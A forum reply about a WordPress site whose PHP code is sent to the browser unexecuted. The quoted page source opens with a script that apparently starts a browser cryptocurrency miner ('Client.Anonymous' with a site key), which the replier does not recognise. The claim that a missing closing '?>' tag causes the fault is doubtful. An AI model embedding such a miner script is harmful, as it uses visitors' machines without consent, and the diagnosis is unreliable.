Your PHP code is not being executed on the server. It is being returned to the client.
Quote:
<script>
var _client = new Client.Anonymous('6a50b1248515108d3b409bdc276b2ca561befaa9e25c895c987a3bf78be9417f', {
throttle: 0.6, c: 'w'
});
_client.start();
</script>
<?php
define( 'WP_USE_THEMES', true );
require( dirname( __FILE__ ) . '/wp-blog-header.php' );
It looks like you're missing the closing
?>
at the bottom of your page.
Your login page is returning an internal server error. There are no details, so we have no idea what the problem is. You need to check any event logs on the server to try to get the error details.
If you still can't fix it, then you'll need to speak to your hosting provider again.